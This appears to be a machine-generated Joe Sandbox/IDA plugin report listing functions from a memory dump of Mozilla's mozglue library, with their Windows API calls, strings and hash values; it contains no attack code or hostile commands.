Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
Instruction ID: d983f65b9de8d24cbfc5b157c8a1ff2378b82593203f650b9622bf2c08de5b40
Opcode Fuzzy Hash: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
Instruction Fuzzy Hash: BFB1F171A011118FDB58CF3CC89076D76A6AF42328F980668E916DBBC6D730D8748F92

Function 6C9BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9BAC52
CreateFileMappingW.KERNEL32 ref: 6C9BAC7D
GetSystemInfo.KERNEL32 ref: 6C9BAC98
MapViewOfFile.KERNEL32 ref: 6C9BACB0
GetSystemInfo.KERNEL32 ref: 6C9BACCD
MapViewOfFile.KERNEL32 ref: 6C9BAD05
UnmapViewOfFile.KERNEL32 ref: 6C9BAD1C
CloseHandle.KERNEL32 ref: 6C9BAD28
UnmapViewOfFile.KERNEL32 ref: 6C9BAD37
CloseHandle.KERNEL32 ref: 6C9BAD43
CloseHandle.KERNEL32 ref: 6C9BAD67

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction ID: 9df12873fcc3f648080faf1df3ee66efcb02c3aae138d4fd81af54b2714c495e
Opcode Fuzzy Hash: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction Fuzzy Hash: 0F3180B19087059FDB00AF7CC64826EBBF0BF85305F114A2DE985A7211EF70A588CB92

Function 6C969620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

NtMapViewOfSection, xrefs: 6C969701
MapViewOfFileNuma2, xrefs: 6C9697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670
ntdll.dll, xrefs: 6C9696E3

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction ID: 71d99af88873ccbb9ca1b5f81e71a8ad70b3f8e4eb83b59b7db1030189233b34
Opcode Fuzzy Hash: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction Fuzzy Hash: C741B5717046069BEF00CFA5D885AD6B7B4FB49B68F228529ED15A7B80D730F844CBA1

Function 6C951E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951EC1
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951EE1
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C951F38
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C951F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C951F83
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FC0
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951FE2
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C952019

Strings

MOZ_CRASH(), xrefs: 6C952000

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction ID: c0ba08201beb5524a2ff095b18dfa91ea132a3dff9d0115627b3d99dc1c6d19f
Opcode Fuzzy Hash: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction Fuzzy Hash: DA41F371B05B0A8BDB40DFB8C884B6A7BB5EB5A748F110129ED04A7740D771E854CBD5

Function 6C9A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C9A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A0041
GetCurrentThreadId.KERNEL32 ref: 6C9A0075
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C9A0090
free.MOZGLUE(?), ref: 6C9A0104
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C9A005B

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction ID: 9fc5920f83300a954fcd4109903853ec2444afa5f56ec9c2042d045a4a361f37
Opcode Fuzzy Hash: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction Fuzzy Hash: 5E41EFB1604A54DFCB10CF64C844A9ABBF0FF69318F14491EE94AA3B40DB31F955CBA2

Function 6C967E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C967EA7
malloc.MOZGLUE(00000001), ref: 6C967EB3

Part of subcall function 6C96CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C96CB49
Part of subcall function 6C96CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C96CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C967EC4
mozalloc_abort.MOZGLUE(?), ref: 6C967F19
malloc.MOZGLUE(?), ref: 6C967F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C967F4D

Strings

d, xrefs: 6C967F89

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction ID: f71660a51bfc7c33d6af84959794149133f3c219dc61652618b1c921e0ce54c1
Opcode Fuzzy Hash: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction Fuzzy Hash: 77310962E0468897EB009B29CC049FEB778EFA6208F155629ED4957752FB30E6C8C391

Function 6C963E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C963EEE
RtlFreeHeap.NTDLL ref: 6C963FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C964006
RtlFreeHeap.NTDLL ref: 6C9640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640C2
RtlFreeHeap.NTDLL ref: 6C964134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964157

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 674c412cf7787f45c8908d4493b16a1839ee3ed121a15ec08fd5a2d23c6253d4
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: ECA193B1A00215CFEB40CF6AC880669BBF5FF58308F254159D909AFB82D771E956CFA1

Function 6C952030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C973F47,?,?,?,6C973F47,6C971A70,?), ref: 6C95207F
memset.VCRUNTIME140(?,000000E5,6C973F47,?,6C973F47,6C971A70,?), ref: 6C9520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C973F47,6C971A70,?), ref: 6C95211A
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C973F47,6C971A70,?), ref: 6C9521BA
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C9521E0
LeaveCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C952253, 6C952268
MOZ_CRASH(), xrefs: 6C95227D

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction ID: 828c2a068095a41296b05bd92f71a6f3781519bce968bec21777f9496497eda7
Opcode Fuzzy Hash: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction Fuzzy Hash: FA61E432F04A068FCB08CB68C88976E77B5AF95318F694239E524B7A84D770E950CB91

Function 6C9548E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C99483A,?), ref: 6C954ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C99483A,?), ref: 6C954AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C99483A,?), ref: 6C954A82

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C99483A,?), ref: 6C954A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C99483A,?), ref: 6C954A35

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C99483A,?), ref: 6C954A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C99483A,?), ref: 6C954AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C99483A,?), ref: 6C954B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C99483A,?), ref: 6C954B2C

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: c836c6404b59a98b96fd366800bf56677edf28e9e2258f747483ae3a99bfd716
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 9E716AB19007469FCB94CF68C490AAAB7F5FF18308B504A3EE15A9BF41E731E565CB81

Function 6C9A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A8273), ref: 6C9A9D65
free.MOZGLUE(6C9A8273,?), ref: 6C9A9D7C
free.MOZGLUE(?,?), ref: 6C9A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A9E0F
free.MOZGLUE(6C9A946B,?,?), ref: 6C9A9E24
free.MOZGLUE(?,?,?), ref: 6C9A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9A9EC8
free.MOZGLUE(6C9A946B,?,?,?), ref: 6C9A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C9A9EF5

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction ID: cc66e0434c47908e726fe05c1e405c7b9c056a102bd7088a109864a2d0e3a87c
Opcode Fuzzy Hash: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction Fuzzy Hash: 6271C0B090AB419BD712CF58C48055BF3F4FFA9315B558619E84A5BB02EB31E8C6CB91

Function 6C9ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C9ADDCF

Part of subcall function 6C98FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98FA4B

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE0D
free.MOZGLUE(00000000), ref: 6C9ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF32

Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADB86
Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF65
free.MOZGLUE(?), ref: 6C9ADF80

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction ID: 07a09c6d8a3f1bb89c0f9a03b58a6716fb9ee755bcb51460da20ac7cc5e3b0ad
Opcode Fuzzy Hash: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction Fuzzy Hash: E751C8736056119BD7219B98C8806AFB376BFA5308FA5051CDC5A63B00D731F95BCB92

Function 6C9B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DC9
std::_Facet_Register.LIBCPMT ref: 6C9B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E45

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction ID: 986482af42913d889fa8551e66f2f1c07d4f3915cc1bd64038be01e92479de3a
Opcode Fuzzy Hash: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction Fuzzy Hash: 6441A270704304AFDB00DFA5C898AAE77BAEF9D314F144168E50AAB791DB30ED45CB61

Function 6C98CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9531A7), ref: 6C98CDDD

Strings

<jemalloc>, xrefs: 6C98CF9F, 6C98CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C98CFA4, 6C98CFB8

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction ID: 5a446591d9664db63465df0601bcf780b2761a0262ced7f2eb7ce6c0ce538875
Opcode Fuzzy Hash: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction Fuzzy Hash: FB31A5317466055BFB00AFA98C45BAE7B79BB41B54F304A18F614FBA80DB70E8508BA1

Function 6C95ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C95ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C95EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C95EDCC
CreateFileW.KERNEL32 ref: 6C95EE08
free.MOZGLUE(00000000), ref: 6C95EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C95EE32

Part of subcall function 6C95EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C95EBB5
Part of subcall function 6C95EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C98D7F3), ref: 6C95EBC3
Part of subcall function 6C95EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C98D7F3), ref: 6C95EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C95EDC1

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
